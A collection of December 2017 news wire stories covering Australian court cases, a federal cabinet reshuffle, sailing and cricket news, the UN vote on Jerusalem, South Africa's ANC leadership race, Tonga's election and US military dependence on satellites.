A 20-year-old Mermaid Beach man was charged with two counts of arson last month over the school fire and a playground fire at a nearby park six days earlier.

All three will appear in the Southport Magistrates Court next year.
A man who stabbed his stepdaughter in the heart while she was watching TV has failed to have his murder conviction overturned.

Raymond John Mead was found guilty last year of killing 23-year-old Sherelle Locke in February 2014 at her mother's Boronia Heights house, south of Brisbane.

During his trial the jury heard Ms Locke was pinned down on the sofa and grabbed by the throat before Mead plunged a knife 27cm deep into her chest.

Mead then turned on his partner, Marlene Locke, who watched her daughter bleed to death.

He was jailed for life.

Mead took his case to the Court of Appeal in Brisbane in October, arguing a wide variety of reasons as to why the conviction was unsound.

He told the court inadmissible evidence had been presented at the trial, claimed Ms Locke committed perjury on 25 occasions while giving evidence against him, and said he was too drunk at the time to have formed a murderous intent.

He also accused his lawyers of being incompetent.

The Court of Appeal on Tuesday rejected all of these grounds, and dismissed the appeal.
Malcolm Turnbull has paid tribute to outgoing attorney-general George Brandis, who will soon set sail for London to become the next UK High Commissioner.

The prime minister will put Senator Brandis forward for the new role early next year, saying after 17 years of distinguished service in parliament his contribution to the nation is far from over.

"It is a very, very important time in the history of the United Kingdom, and there is a lot at stake for Australia in our relations with the UK," Mr Turnbull said in announcing a cabinet reshuffle on Tuesday.
Two men arrested during a dramatic police operation in Sydney's Centennial Park last week have been charged with supplying 900 kilograms of cocaine, even though police haven't actually seized the drugs.

Kigi Kamuta, 39, and Aukuso Junior Paulo, 34, were caught in the park on Wednesday in a vehicle allegedly with guns, ammunition and $650,000 cash, and were on Tuesday charged with the additional drug supply offences.

"Inquiries are continuing in relation to the location of the drugs," Detective Chief Superintendent Tony Cooke told reporters in Sydney.
The Sydney Hobart is set to get a big boost in Chinese entrants for the race's 75th edition in two years' time.

Last year's race drew a record five boats from Asia, with China's UBOX finishing third on handicap.

More than 800,000 Chinese watched live coverage of the start of the 2016 race.

While Asia has just three representatives this year, Cruising Yacht Club of Australia CEO Karen Grega revealed there was plenty of interest in the milestone race from China.

Grega and CYCA commodore John Markos made a whistle-stop tour of 16 Chinese clubs and associations across four cites in six days last April, after accepting an invitation to the Shanghai Boat Show.

"There was a lot of interest in the 75th (Sydney Hobart) race," Grega told AAP.

"People realise that the Hobart race is not something you decide (to go into) and six months later you do it.

"There's a lot of training required so we spoke to a number of clubs and associations who are starting their training now for 2019.

"There's a very healthy respect for the race. They realise it's quite gruelling and they are very keen to come out here and train.

"(China's) Derucci came out from September, training.

"With UBOX doing so well last year, there was a lot of publicity around that, to be able to encourage people in China to think 'we can do this, we can compete.'"

The Tattersall Cup, the trophy awarded annually to the handicap winner, was a major attraction in China.

"It was the first time ever the Tattersall Cup had gone outside Australia and the trophy was like a pop star," Grega said.

"There were more selfies with the trophy than I can imagine.

"The overriding thing was that they see the Hobart race as the jewel in the crown."

In this year's race, Hong Kong's Karl Kwok will be looking to win overall honours for the second time, 20 years after winning in a previous Beau Geste.

Derucci suffered damage in each of the past two years, but those misfortunes haven't deterred skipper Dong Qing, who recalled his boat being buffeted by 53 knot winds in 2015.

"In 2015 and 2016, we had some bad luck. But we also had encouragements," he said through an interpreter.

Kwangmin 'Andrew' Rho, the skipper of South Korean entrant Sonic, is looking for some weather between the extremes he experienced the past two years.

"The weather was terrible in 2015 and last year the weather was comparably easy for me," Rho said.
CHANGES IN THE TURNBULL MINISTRY

WINNERS

CHRISTIAN PORTER

The former social services minister becomes Attorney-General, replacing London-bound George Brandis, who will become Australia's UK High Commissioner. Porter served as WA attorney-general for almost four years and state treasurer for more than two.

BARNABY JOYCE

The deputy prime minister drops the agriculture and water portfolios to pick up infrastructure and transport after dumping Victorian Nationals colleague Darren Chester.

DAVID LITTLEPROUD

The first-term Queensland MP has made a meteoric rise from the backbench to cabinet after being handed the agriculture and water portfolios. With a background in agribusiness banking, heavy scrutiny will be applied to the rookie minister, who was one of four lower house MPs to vote against same-sex marriage legislation.

JOHN McVEIGH

Another little-known Queensland backbencher catapulted into cabinet as regional development and local government minister. The first-term LNP MP was a minister in the Newman state government.

MICHAELIA CASH

Picks up the innovation portfolio from Arthur Sinodinos as he battles cancer. The former employment, now jobs minister has had some of her responsibilities absorbed by new Workplace Minister Craig Laundy. Cash escaped a demotion after her office was embroiled in a scandal over raids on a union office.

BRIDGET McKENZIE

The newly-appointed deputy Nationals leader has been elevated to cabinet taking on sport, rural health, rural communications.

PETER DUTTON

Confirmed in his new role heading up the new home affairs ministry. The move brings Australia's immigration, border, law enforcement and domestic security agencies into a single mega-portfolio.

DAN TEHAN

Joins the cabinet after calls for more representation for country Liberal MPs, taking over the social services portfolio from Christian Porter.

ALAN TUDGE

Switches from human services to citizenship and multicultural affairs. Along with Angus Taylor, he has been promoted to positions which support Peter Dutton's new home affairs ministry.

ANGUS TAYLOR

Another country Liberal smiling after the reshuffle, Taylor takes on the law enforcement and cybersecurity portfolios.

CRAIG LAUNDY

Becomes small and family business, workplaces and deregulation minister after almost two years in a junior role. Worked in his family's Sydney pub empire before entering politics.

MATHIAS CORMANN

The finance minister will become Leader of the Senate and also take over as Special Minister of State.

LOSERS

DARREN CHESTER

Booted to the backbench in a shock move to boost Queensland Nationals' representation in cabinet. Described the experience as "character-building" after being demoted despite not making a major blunder.

KEITH PITT

Loses job as assistant trade, tourism and investment minister, wiping more than $100,000 off his annual salary.
The WACA pitch debacle was a big headache for curator Matt Page - literally.

Page was taken to hospital with concussion on Monday after being wiped out by his own pitch coverings during the recently-concluded Ashes Test in Perth.

In video footage that has since gone viral, Page was standing to the side of the wicket when a big gust of wind blew away the huge centre square covering.

As it became air-borne, Page took a step towards it in a bid to stop it from blowing away.

But he instantly realised he was no match for the giant tarpaulin, and was violently bowled over by it.

England captain Joe Root was also near the pitch at the time, and hid behind burly umpire Paul Wilson to avoid being cleaned up.

WACA chief executive Christina Matthews revealed Page had to be taken to hospital later that day.

"He's home now, but he suffered concussion. So that gives you an indication of how ferocious the winds were," Matthews told ABC radio on Tuesday.

"He's OK. He was in hospital for a few hours yesterday afternoon.

"It was a bit of a shock for us all."

The ground staff have been criticised for allowing water to get into the pitch.

Play was delayed by three hours on the final day as they tried to dry out wet patches on the pitch with leaf blowers.

Matthews will investigate whether anything more could have been done to avoid the wet patches, but she denied there had been a split in the coverings.

"There was actually no seeping," Matthews said.

"The problem occurred on Sunday afternoon with the torrential rain and winds that we had.

"Some of the water from the covers spilt onto the hessian, which created a wet patch on the hessian.

"Overnight, it sweated quite a bit and the sweat had nowhere to go, because the hessian was already wet.

"So that created the wet patches on the wicket."

Page revealed last month that he will quit the WACA after the third Ashes Test in order to take up the head curator's role at the MCG.
A prison employee has been arrested after allegedly smuggling drugs into a NSW jail in exchange for cash.

Drug dogs were sweeping Cessnock Correctional Centre on Monday when illicit substances were found in a wallet belonging to the 29-year-old employee, police said in a statement on Tuesday.

The man was arrested and interviewed.

Police will allege he smuggled in contraband on at least 10 occasions in 2017 in exchange for cash.

The employee was charged with two corruption offences, bringing drugs into a prison and two counts of unlawfully delivering something to an inmate.

He has been suspended from duty and granted conditional bail to appear in Cessnock Local Court on January 24.
A German sailor who goes back to the Alan Bond era is about to undertake his first Sydney Hobart at the age of 55 on a boat he's never raced.

Christopher Opielok, a two-time Admiral's Cup winner has dreamt of contesting the iconic Australian ocean race for more than 30 years.

While he's a mature age Sydney Hobart rookie Opielok has got the approval of his family to do the race on his recently acquired TP52.

"They know that I'm mad so the time was right to do it now and they pushed me to do it," Opielok,told AAP.

Opielok has sailed against yachting legends like Dennis Connor and Jim Bertrand and had expected to make his Sydney Hobart debut long before this year.

"I worked as a boat captain at the Admiral's Cup for many years and they promised 'look guys, we're doing this (the Sydney Hobart), but first we win the (America's) Cup'," Opielok said.

"We met Alan Bond and his crew and all these famous Aussies and they were telling us about Bass Strait and the Sydney to Hobart, so we got excited and next year ... nothing."

Opielok then took it upon himself to do the race in 2010 on his own boat.

"It got here late by cargo shipment, it got delayed, so we missed that one." he said.

Opielok lived in Perth from 2009-12 and will have seven Australians in the multi-national crew of his boat, the latest of three he's owned that he's called Rockhall.

"We're a brand new crew, we've never sailed together," Opielok said.

"You need a lot of luck to move forward and compete against the Aussies."
A Senate committee has called for more transparency in private health insurance, and recommended making individual doctors publish their fees.

The report made 19 recommendations including banning insurers from offering different rebates for the same services.

The committee wants doctors' fees to be available to the public in a searchable database.

Insurers would also have to publish rebates by policy and item number, under the recommended changes.

"Public disclosure of fees would introduce more discipline to the market and would empower consumers to request a referral from their general practitioner to a preferred specialist that they can afford," the report released on Tuesday said.

The committee, chaired by Greens senator Rachel Siewert, looked at out-of-pocket medical costs and the affordability of private health cover.

It wants the government to make private health insurers provide written notice of changes to policies and eligibility to allow consumers the chance to consider alternatives.

Among the other recommendations are:

* Allowing private health insurers to rebate out-of-hospital medical treatment where it is delivered on referral in an out-patient, community or home setting.

* A requirement for all private health insurers to disclose executive remuneration and other administrative costs.

* To make federal and state governments ensure public hospitals provide equality of access for public and private based on clinical need rather than insurance status.

Australian Healthcare and Hospitals Association chief executive Alison Verhoeven said that was already happening.

"Suggestions to the contrary are offensive to the staff who work in Australia's public hospitals 365 days a year to provide the best healthcare possible to every patient they see," Ms Verhoeven said.

She welcomed recommendations aimed at improving value, transparency related to out-of-pocket costs, clarity of information for consumers and choice of service providers.

Consumers Health Forum chief Leanne Wells hailed the "ground-breaking" report, saying it recognised the system must meet the needs of the consumer rather than insurers.
A Muslim man accused of shooting two teenagers wants to remove a magistrate from his case because of perceived bias about sharia law.

Zakaria Zaatiti, 23, appeared in Melbourne Magistrates Court on Tuesday to apply for bail over allegations he shot two males aged 16 and 18 at Roxburgh Park in August.

But before the bail hearing began, his lawyer Shaun Ginsbourg applied for magistrate Ross Maxted to disqualify himself from the case.

Mr Maxted refused Zaatiti bail in September.

"Essentially Your Honour made comments in the course of cross-examining my client's father about sharia law," Mr Ginsbourg said.

The barrister said those comments constituted "apprehended bias".

Mr Maxted said there were legal precedents which prevent magistrates from removing themselves from a case simply because an accused person requests it.

"I should not readily accede to a disqualification application if I feel that it's not required by law," he said.

Mr Ginsbourg said three key comments made by Mr Maxted on September 21 support his application for the magistrate to remove himself from Zaatiti's second bid for bail.

"I was left with an uncomfortable feeling that there may be two sets of loyalties in this, of one to sharia law and one to the court," the magistrate said in the previous hearing, according to a transcript read by Mr Ginsbourg.

The magistrate was referring to Zaatiti's father, who had offered to be his son's surety.

"Your Honour draws a distinction between a person being loyal to sharia law and on the other hand, the person being loyal to the law of the land," Mr Ginsbourg said.

"Your Honour expressly draws a link between concerns about his loyalties to those laws and his loyalty to sharia law."

The defence barrister said the magistrate had "no rational basis whatsoever" to find Zaatiti senior's adherence to sharia law undermined his credibility.

Mr Maxted said the comments were observations, not findings, about the suitability of Zaatiti's father as the "eyes and ears of the court" if his son was released on bail.

"What has his professed loyalty or adherence to sharia law got to do with that question?" Mr Ginsbourg said.

"I'm not answering questions from the bar table," Mr Maxted said before adjourning the matter to Wednesday.
A man has appeared in court after he allegedly shot dead a relative in Melbourne's southeast.

Peter Smith, 69, faced Melbourne Magistrates Court on Tuesday charged with murdering 30-year-old Andrew Smith.

The younger man was fatally shot at a Mulgrave home on Monday night.

A Legal Aid duty lawyer told magistrate Ross Maxted that Smith would be vulnerable in custody due to his age and appearance.

She also said the 69-year-old had undergone surgery for bladder cancer in the past three months.

Smith had been remanded in custody to return to court in April.
A Brisbane accountant arrested in Bali on drugs charges has reportedly been admitted to hospital.

Isaac Emmanuel Roberts was arrested following his arrival from Bangkok, allegedly with 19 grams of amphetamine and ecstasy pills in his luggage.

He was paraded in front of media on Tuesday following his arrest on December 4.

However the 35-year-old was admitted to hospital later that evening, according to his lawyer Deni Sedana.

"He got sick. He was shocked after the press conference today. Maybe he never thought that he will be in the press conference," Mr Sedana told News Corp Australia.

Earlier, Roberts had been angry at being paraded in front of the media and suggested he'd been set up by authorities.

"I was invited to this country. I was working with a Customs officer and they knew I was going to bring something," he said.

"I'm just a f***ing addict, they want to waste their resources on addicts. They want to punish addicts, this is ridiculous. What about the f***ing importers? I wasn't going to sell it to anyone here, no one was going to use it here."

Roberts said Indonesian police were parading small-time users in front of media when there were "kilos going through this airport".
A swag of new ministers are preparing to be sworn in following a full-scale cabinet reshuffle by Malcolm Turnbull.

But as the new-look team heads for Government House, dumped infrastructure minister Darren Chester has been left to languish on the backbench while outgoing attorney-general George Brandis eyes the exit.

The prime minister has added several fresh faces to his ministry including a handful of frontbench appointments, in what is expected to be the last cabinet shake-up before the 2019 election.

Mr Chester, a popular and unblemished Victorian Nationals MP, has been ousted to make way for two little-known Queenslanders in a bid to shore up coalition support in the sunshine state.

First-termer David Littleproud will take over the agriculture portfolio while his colleague John McVeigh deals with regional development and local government.

Deputy Prime Minister Barnaby Joyce takes Mr Chester's portfolio of infrastructure and transport, with new deputy Nationals leader Bridget McKenzie assuming responsibility for sport, rural health and regional communications.

West Australian Christian Porter will become attorney-general as Senator Brandis heads to London to take over as UK High Commissioner.

Michaelia Cash will become the new Minister for Jobs and Innovation.

Mr Turnbull said the ministry showcased the depth of the Liberal and National team, with young and upcoming MPs bringing new skills and energy to the frontbench.

Opposition Leader Bill Shorten criticised the reshuffle, saying it revealed the coalition had a "women's problem" after overall female representation in cabinet did not increase.

He also accused Mr Turnbull of an "anti-Tasmanian bias" after the island state was left off the cabinet map.

A new home affairs portfolio will be overseen by Peter Dutton, aided by two junior ministers.

Arthur Sinodinos won't be returning to the cabinet, with his cancer treatment taking longer than anticipated.

Governor-General Peter Cosgrove will swear in the new ministers at a ceremony in Canberra on Wednesday.
A 25-year-old man who allegedly travelled to the battlegrounds of Syria to take up arms is expected to face a Sydney court.

The man, who allegedly travelled to Syria in March, 2015, and returned in October that year, is the first Australian-based person to be charged with foreign incursion offences, police say.

The man was arrested on at a Mount Lewis home in Sydney's southwest on Tuesday morning.

Police say the man had been subject to ongoing investigations since he returned from Syria.

It is understood he was fighting for a terror organisation.

Members of the NSW Joint Counter Terrorism Team, which includes the Australian Security Intelligence Organisation, state and federal police, were involved in the operation.

Police say Tuesday's operation was part of an ongoing investigation into money laundering which had already led to three arrests earlier in the year.

A Bass Hill man, who was arrested as part of the investigation and charged with dealing in the proceeds of crime in October, was on Tuesday charged with a range of other offences.

Both men are due to appear before Bankstown Local Court on Wednesday.
Skeletal remains have been found in a submerged four-wheel drive in a lake near Mount Isa.

The 4WD was spotted in Lake Moondarra by a man while he was in his boat and it was recovered by police on Tuesday.

The vehicle belonged to missing woman Rosemary McLean, 51, who was last seen in the Moondarra area at 9am on January 14 this year, The Courier-Mail reports.

However, police have not been able to confirm as yet if the remains are those of Ms McLean.

Police divers will continue to search the lake on Wednesday.
A man and a woman have been charged with drug supply offences following a traffic stop in Sydney's southwest.

Officers allegedly discovered drug paraphernalia, methylamphetamine, prescription drugs, capsules and a brown substance believed to be an illicit drug in a car when they pulled it over in Canley Heights on Tuesday afternoon.

The 56-year-old male driver was arrested and a search was conducted at a nearby home where police allege they seized drugs, cash, several mobile telephones and other unidentified powders and liquids.

A 46-year-old woman was arrested at the scene.

The pair was refused bail to appear at Liverpool Local Court on Wednesday.
Australians will no longer receive unsolicited offers to boost their credit card limits under industry-wide changes to banking practices.

Customers will also be able to cancel their cards online and will only pay interest on what remains on their credit cards.

The changes will be implemented under an update to the banking sector's code of practice, managed by the Australian Bankers Association.

The update, which requires the approval of the corporate watchdog, comes ahead of a royal commission into the financial sector set up by the federal government and due to begin next year.
More than 200 refugees being held on Manus Island and Nauru are expected to depart for the United States within weeks.

The group will join more than 50 refugees who have already arrived in the US after being accepted under a resettlement deal expected to offer up to 1250 places for those in Australia's offshore detention centres.

"Obviously months beyond that there'll be others that will be able to leave Manus and Nauru and go to the United States," Immigration Minister Peter Dutton told ABC radio on Wednesday.
TOP STORIES in AUSTRALIAN STATES, 2017:

NSW

Terror Plane

An alleged conspiracy to bring down a plane with an improvised bomb after it took off from Sydney Airport in July was one of the most sinister terror plots to be thwarted by Australian authorities. Four men were arrested during a series of raids following a tip-off about the alleged scheme from foreign intelligence services. Khaled Khayat and Mahmoud Khayat were charged with planning a terror attack after being held for almost a week while officers rifled through their Sydney homes searching for evidence. It's alleged Khaled Khayat accompanied his brother Amer Khayat to Sydney's international airport on July 15 ahead of an Etihad flight to Abu Dhabi with luggage containing a military-grade explosive. Khaled Khayat left the airport with the luggage reportedly because it was too heavy and Amer Khayat flew to Abu Dhabi on an uneventful Etihad flight then travelled to Lebanon. Bomb components were sent from Turkey to Sydney by air cargo. When the first attempt was unsuccessful police allege an Islamic State controller then instructed the two on how to create a gas-dispersion device using the highly-toxic hydrogen sulfide. Lebanon's interior minister said that the IS controller was another Khayat brother, Tareq, who moved to Raqqa in Syria and become a commander in the jihadist group. Two other men were held under counter-terror laws and while one was released without charge the other, Khaled Merhi, was charged with possessing a prohibited weapon. The alleged scheme prompted airports to temporarily heighten security provisions.

VIC

Bourke St Fatalities

Six people were killed, 27 injured and 25 hospitalised after a car ploughed through pedestrians in Melbourne's Bourke Street mall on January 20. Among the people killed were three-month-old Zachary Bryant and 10-year-old Thalia Hakin. Dimitrious Gargasoulas, 27, who was shot and injured by police during the rampage, wass charged with six counts of murder and 28 counts of attempted murder. He has been in custody since the rampage and courts are assessing his mental state and whether he is fit to stand trial. The coroner is investigating all events in the lead up to the deaths, including police actions and a decision to release Gargasoulas on bail a week before the deadly rampage. The tragedy also prompted a shake-up of the Victoria's bail system: serious matters are no longer heard by volunteer bail justices and a new night court sits seven days a week. Temporary bollards have been installed at busy public places across the city to stop unauthorised vehicles from entering. Gargasoulas' case is still before the Melbourne Magistrates Court but prosecutors and defence counsel have been providing the Victorian Supreme Court with unprecedented progress updates.

SA

Musk

Billionaire entrepreneur Elon Musk focused international attention on Adelaide in 2017 when he first promised to build the world's biggest lithium-ion battery and then revealed his plans to have humans colonise Mars as early as 2024. His promise to help end SA's energy woes came from a much-publicised Twitter exchange with fellow tech billionaire Mike Cannon-Brookes when the American agreed to build the 100-megawatt battery in 100 days or provide it free. Mr Musk made good on his promise and with the launch of the battery on December 1. His Tesla Powerpacks will be able to store 129-megawatt hours of energy, enough to power 30,000 homes for an hour on a full charge. The battery is three times larger than any previous storage device and has been paired to the existing Hornsdale wind farm operated by French renewable energy company Neoen near Jamestown in SA's mid-north. It has cost an estimated $50 million and could have a life of more than 30 years. As work on the battery was underway, Mr Musk flew into Adelaide to excite the global science community, outlining his plans to carry settlers to Mars. His SpaceX company is developing a new rocket and spaceship, code-named BFR (Big F***ing Rocket) that will carry more than 100 people on each flight. The BFR will stand 100 metres tall with 31 engines to lift a payload of more than 4000 tons. An added bonus could be using the same technology to transport people anywhere in the world, from Los Angeles to Sydney for example, in under 30 minutes.

QLD

State poll

Speculation about when the next state election would be dominated Queensland politics for much of 2017. After a surprise victory over Campbell Newman in 2015, Premier Annastacia Palaszczuk asked Queenslanders to deliver her a majority. LNP leader Tim Nicholls struggled to get cut-through with voters or escape his past as Mr Newman's former treasurer. Although not a candidate, One Nation senator Pauline Hanson led the 'Battler Bus' as it made its way up and down the state to talk to disaffected voters. It became clear Ms Palaszczuk would be re-elected when the results of the November 25 poll started flowing in, but it took two weeks for the final result. Labor ended up with 49 seats, two more than it needed to govern with a majority in the new 93-seat parliament. The LNP secured just 39 seats, while Katter's Australian Party increased its representation to three and Mirani's Stephen Andrew became the sole One Nation candidate elected. The Greens had a historic victory in Maiwar, defeating shadow treasurer Scott Emerson, and independent Sandy Bolton won the seat of Noosa. Mr Nicholls fell on his sword following the LNP's loss. His decision sparked a party room vote that resulted in his deputy Deb Frecklington becoming leader.
The UN Security Council meets to discuss a measure rejecting US President Donald Trump's recognition of Jerusalem as Israel's capital - Washington is expected to veto the draft

Britain and France, Washington's closest allies, said Monday they will back a UN draft resolution rejecting US President Donald Trump's decision to recognize Jerusalem as Israel's capital.

The Security Council is set to vote on the proposed measure put forward by Egypt that would reaffirm that any decisions concerning the status of Jerusalem "have no legal effect, are null and void and must be rescinded."

Diplomats said they expected the United States to use its veto power to block the measure but that most, if not all, of the 14 other members are expected to back the draft resolution.

French Ambassador Francois Delattre praised the Egyptian draft resolution as a "good text" that is "completely in line" with current UN resolutions that reflect the international consensus on Jerusalem.

Delattre said France will support it and that he expected the "overwhelming majority" of council members to do the same.

Breaking with international consensus, Trump this month announced that he would recognize Jerusalem as Israel's capital and move the US embassy there from Tel Aviv, sparking protests and strong condemnation.

The Security Council text expresses "deep regret at recent decisions concerning the status of Jerusalem" -- without specifically mentioning Trump's announcement.

Aside from the United States, Britain, China, France and Russia can veto any resolution presented at the council, which requires nine votes for adoption.

US Vice President Mike Pence will visit Jerusalem on Wednesday, wading into the crisis over one of the most controversial issues in the Israeli-Palestinian conflict.

Israel seized control of the eastern part of the city in the 1967 Middle East war and sees all of Jerusalem as its undivided capital. The Palestinians view the east as the capital of their future state.

- No sidelining of the US -

British Ambassador Matthew Rycroft said the proposed text was in line with London's position on Jerusalem as an issue that must be resolved through negotiations.

Despite a likely US veto, Rycroft said the United States "will continue to play an extremely important role in the search for peace in the Middle East."

US Ambassador Nikki Haley signalled during a council meeting held ahead of the vote that the United States was ready to use its veto by recalling that the former US administration had abstained in a vote condemning Israeli settlements last year.

The council put Israeli-Palestinian peace "further out of reach by injecting itself" in the process, Haley said, recalling last year's vote.

"We will not make that mistake again," she warned.

After a brief open session, the council went into a closed meeting requested by Ukraine, a close US ally, to discuss the measure.

The draft resolution calls on all countries to refrain from opening embassies in Jerusalem, reflecting concerns that other governments could follow the US lead.

It demands that all member-states not recognize any actions that are contrary to UN resolutions on the status of the city.

Several UN resolutions call on Israel to withdraw from territory seized during the 1967 war and have reaffirmed the need to end the occupation of that land.

The Palestinians had sought a toughly-worded draft resolution that would have directly called on the US administration to scrap its decision, but the final version was softened to draw maximum support.

Backed by Muslim countries, the Palestinians are expected to turn to the UN General Assembly to adopt a resolution rejecting the US decision, if, as expected, the measure is vetoed by the United States at the council.
Members of the UN Security Council vote on a draft resolution that would reject US President Donald Trump's decision to recognize Jerusalem as the capital of Israel

The United States on Monday vetoed a draft UN resolution rejecting President Donald Trump's decision to recognize Jerusalem as Israel's capital, after all 14 other Security Council members backed the measure.

The veto cast by US Ambassador Nikki Haley highlighted Washington's isolation over Trump's announcement that the US embassy will be moved from Tel Aviv to Jerusalem, effectively ignoring Palestinian claims on the city.

Key US allies Britain, France, Italy, Japan and Ukraine were among the 14 countries in the 15-member council that backed the measure asserting that any decisions on the status of Jerusalem "have no legal effect, are null and void and must be rescinded."

"The United States will not be told by any country where we can put our embassy," Haley told the council after the veto.

Egypt put forward the draft resolution which insists that Jerusalem is an issue "to be resolved through negotiations" between Israel and the Palestinians and expresses "deep regret at recent decisions concerning the status of Jerusalem", without specifically mentioning Trump's move.

The United States along with Britain, China, France and Russia can veto any resolution presented to the council, which requires nine votes for adoption.

Breaking with international consensus, Trump announced on December 6 that he would recognize Jerusalem as Israel's capital and move the US embassy there from Tel Aviv, triggering protests and strong condemnation.

US Vice President Mike Pence will visit Jerusalem on Wednesday, wading into the crisis over one of the most controversial issues in the Israeli-Palestinian conflict.

Israel seized control of the eastern part of the city in the 1967 Middle East war and sees all of Jerusalem as its undivided capital. The Palestinians view the east as the capital of their future state.

The draft resolution had included a call on all countries to refrain from opening embassies in Jerusalem, reflecting concerns that other governments could follow the US lead.

It demanded that all member-states not recognize any actions that are contrary to UN resolutions on the status of the city.
Delegates sing during the plenary session of the African National Congress

In the moments before Cyril Ramaphosa's triumph in the leadership race for South Africa's ruling ANC, he and President Jacob Zuma snapped selfies together.

Even before the announcement was made, Ramaphosa's backers -- who go under the banner "CR17" -- had already begun to cheer and chant wildly.

A vast image of the African National Congress' new leader was unfurled as long applause and loud singing greeted news at the party conference venue outside Johannesburg.

Mfanafuthi Ngcobo, 34, who travelled from the eastern Kwa-Zulu Natal province to vote welcomed Ramaphosa's victory, despite favouring defeated candidate Nkosazana Dlamini-Zuma.

"We are very happy about the outcome. I will support the new president," he said.

Outside the hall, ANC supporters blocked a road leading to the conference centre, dancing and singing party songs. They were bathed by the lights of police cars surrounding the gathering.

Elite police officers were briefly deployed in the front of the stage as the results of the delayed voting were being announced.

But as newly-elected senior ANC officials were announced, each shook Ramaphosa's hand, sending a message of unity after a divisive campaign that some said could permanently split the party.

Zuma embraced Ramaphosa, and Dlamini-Zuma followed shortly afterwards to congratulate her new leader.

Later Dlamini-Zuma tapped the table with her hand in time to celebration music.

The election of David Mabuza as deputy party president was seen as a significant victory for Dlamini-Zuma loyalists, despite her defeat.

- 'This is my president' -

"Both camps have won. Cyril promised he will fight corruption. He is a good man. We want Zuma to finish his mandate," said Menzi Nzuza.

Zikalala Snuki, the president of the party's veterans' league, described the result as "democracy".

"We are happy that we managed to elect the top leadership of the ANC... We are happy that at least we came out of the conference being united."

In Soweto township, 10 minutes drive from the conference venue, street celebrations broke out.

On Vilakazi street, where Nelson Mandela and archbishop Desmond Tutu once lived, bars and restaurants were full of ANC supporters.

Businesswoman Bontle Motau proudly brandished a photo of herself with Ramaphosa on her cellphone as ANC struggle-era songs played at deafening volume.

"This is my president -- he has wisdom," said Motau who grew up on the street that is now a nighttime draw for the new black middle-class.

"The last time I celebrated like this was when Mandela was released from prison," she said as she danced with a crowd dressed in green, yellow and black -- the ANC's signature colours.

In the Sakhumzi restaurant a crowd of men watched the news live streamed on a phone propped up on a straw hat as they drank lager.

"I think he's been a great candidate but I'm sure they (Dlamini Zuma supporters) are very disappointed -- but I don't foresee trouble," said waiter Mike Sibanda.
Omar Faraj Saeed al-Hardan discussed with an FBI informant his hopes of traveling to fight with the Islamic State group

A refugee from Iraq was sentenced by a Houston court Monday to 16 years in prison for seeking to join Islamic State and learn bomb-making skills.

Omar Faraj Saeed al-Hardan, a 25-year-old of Palestinian origin who was born in Iraq and lived in refugee camps in Iraq and Jordan, was accepted into the United States in 2009.

He earned his permanent residency two years later and, according to US law enforcement, in 2013 began communicating with another refugee in California, discussing traveling to Syria to fight for the Al-Nusrah jihadist group.

The next year, he discussed with an FBI informant his hopes of traveling to fight with the Islamic State group and a desire to be trained in making detonators for improvised explosive devices.

He and the FBI informant also practiced shooting with an AK-47, and Hardan posted statements in support of Islamic State online, according to the Justice Department.

He was arrested in January 2016 and charged with providing material support to IS.

"Any person who provides material support to a foreign terrorist organization will be investigated and prosecuted to the fullest extent of the law," said Acting US Attorney Abe Martinez.

President Donald Trump has slashed by more than half the country's annual intake of refugees and placed restrictions on other immigrants, saying it is a conduit for potential terrorists to enter the United States.

Separately, a former Washington-area transit police officer who converted to Islam was convicted of trying to help Islamic State.

Nicholas Young, 37, had tried to help another man join up with IS, only to find that the other man was an undercover FBI informant.

Oddly, Young was also called a neo-Nazi by prosecutors, while his lawyers defended him as simply someone with quirky hobbies.

He faces up to 60 years in prison.
Pohiva (C) won a parliamentary ballot to decide the prime ministership

Tonga's Prime Minister Akilisi Pohiva has been returned to power for a second term, just months after the Pacific island's king effectively sacked him by dissolving parliament and calling a snap election.

Pohiva won a parliamentary ballot late Monday to decide the prime ministership by 14 votes to 12 over rival candidate Siaosi Sovaleni, his former deputy.

It caps a remarkable comeback for the 76-year-old, whose career appeared over following King Tupou VI's dramatic political intervention in August.

In an unprecedented move, the monarch dissolved parliament a year before the next scheduled election, ordering a poll to be held on November 16.

Against expectations, Pohiva's Democratic Party won a resounding 14 of the 17 seats elected by the people, five more than in the 2014 election.

It gave Pohiva a majority in the 26-seat parliament, in which nine seats are taken by hereditary nobles, paving the way for Monday's vote to select the prime minister.

The king never explained why he dissolved parliament, although media reports said there were concerns the government had acted unconstitutionally by signing international agreements without the monarch's approval.
The US military is hugely reliant on the ever-growing network of satellites orbiting Earth, depicted here in a computer-generated artist's impression released by the European Space Agency

With GPS-guided bombs, armed drones beaming footage via satellite and spy cameras scooping up intel from the heavens, America's military machine is growing ever more reliant on space-based technology.

But what would happen if an enemy were to target the military's satellites, or somehow jam their signals?

The disastrous scenario is one the Pentagon knows all too well could happen, and for which it is actively preparing.

"Our force structure today is built around the assumption that we have GPS and we have satellite communications. We are very lethal when we have those things," said Colonel Richard Zellmann, commander of the 1st Space Brigade based in Colorado.

"But when you start taking away those combat multipliers, we need to go back then to the days of the industrial-age army where you have to have three times as many people as the adversary does."

About 70 percent of the Army's major combat systems depend on signals being beamed from space, Zellmann said, a fact that has not slipped the attention of other countries.

"Militaries around the world have begun to understand the advantages that the US has enjoyed because of uncontested access to the space domain," Zellmann recently told reporters.

A Boeing Delta 2 launch vehicle lifts off in 2003 from Cape Canaveral Air Force Station carrying a Navstar GPS 2R-9 military navigation satellite

Russia and China are both developing satellites capable of maneuvering through space, potentially allowing them to smash into another orbiting object. America, too, has acquired satellites that can move in orbit and inspect or monitor other space objects.

But Zellmann noted it is far cheaper and simpler for an enemy to disrupt or damage US military satellites than to develop their own orbital platforms.

For instance, low-cost jammers placed at the right location can wreak havoc with incoming GPS signals, which are often quite weak.

- Sailing by star -

Already, the Army has brought back training to keep soldiers current on how to read paper maps, and the Navy is teaching sailors how to navigate by the stars with the help of sextants, first used in the 18th century.

Army operations centers have map boards that show where troops are on the ground, so if a "Blue Force tracker" that watches soldiers with GPS is disrupted, "we still know where all of our units are," Zellmann said.

The old-school, analog technologies are also being augmented by new science designed to replicate satellites, only from Earth.

The military's Defense Advanced Research Projects Agency, better known as DARPA, which innovates and develops new technologies for the Pentagon, has stated it wants a new generation of precise navigation and timing tools that can work without GPS.

One such system uses "pseudolites" -- ground-based devices that beam GPS-like signals and are already being used in the commercial sector.

Another technology that is used in aircraft is an "inertial navigation system" that deploys a series of sensors and gyroscopes to calculate a plane's -- or a missile's -- location.

US fighter pilots train for scenarios pitting them against an enemy capable of blocking satellite signals

